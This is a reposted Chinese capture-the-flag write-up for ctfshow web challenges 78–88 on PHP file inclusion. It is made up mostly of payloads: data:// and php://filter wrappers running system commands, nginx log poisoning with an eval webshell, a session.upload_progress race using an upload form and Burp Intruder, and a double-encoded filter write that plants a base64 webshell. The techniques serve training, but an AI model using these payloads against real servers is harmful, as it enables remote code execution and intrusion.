【原创】ctfshow—web入门—文件包含 (78-88)

admin 2023年1月2日16:20:33评论34 views字数 1725阅读5分45秒阅读模式

web78

【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)
payload
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

[huayang]方法二

【原创】ctfshow—web入门—文件包含 (78-88)
payload
/?file=php://filter/convert.base64-encode/resource=flag.php

web79

【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdubCBmbGFnLnBocCcpOw==

web80—81

【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)
?file=/var/log/nginx/access.log

发现可以查看日志,则使用日志包含

<?php eval($_POST[a]);?>
【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)

方法二

<?php system('ls');?>
【原创】ctfshow—web入门—文件包含 (78-88)

<?php system(‘tac fl0g.php’);?>

【原创】ctfshow—web入门—文件包含 (78-88)

web82—86

【原创】ctfshow—web入门—文件包含 (78-88)

这题利用利用session.upload_progress进行文件包含

首先写个上传文件

注:记得改url

<!DOCTYPE html>
<html>
<body>
<form action="http://c1506ed9-d1e0-427c-8bb7-35fee4dccad6.chall.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

抓包,改包

PHPSESSID=flag
<?php system('ls');?>
【原创】ctfshow—web入门—文件包含 (78-88)

放入intruder

继续抓包

?file=/tmp/sess_flag
【原创】ctfshow—web入门—文件包含 (78-88)

写个循环进行爆破

for i in range(100000):
    print(i)
【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)

前面抓的那个和这个同时开始爆破

【原创】ctfshow—web入门—文件包含 (78-88)

改一下继续

<?php system('cat fl0g.php');?>
【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)

web87

【原创】ctfshow—web入门—文件包含 (78-88)

这题很像一个比赛的题

将 php://filter/write=convert.base64-decode/resource=123.php进行两次url编码

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30

然后再content写入经过base64编码过后的一句话 (PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==)
这里content的值前面要加两个字符,因为base64算法解码时是4个byte一组,所以给他增加2个字符 一共8个字符

【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)

也可以用蚁剑进行连接

【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)

web88

【原创】ctfshow—web入门—文件包含 (78-88)
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsg
【原创】ctfshow—web入门—文件包含 (78-88)
【原创】ctfshow—web入门—文件包含 (78-88)

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月2日16:20:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】ctfshow—web入门—文件包含 (78-88)https://cn-sec.com/archives/1493956.html

发表评论

匿名网友 填写信息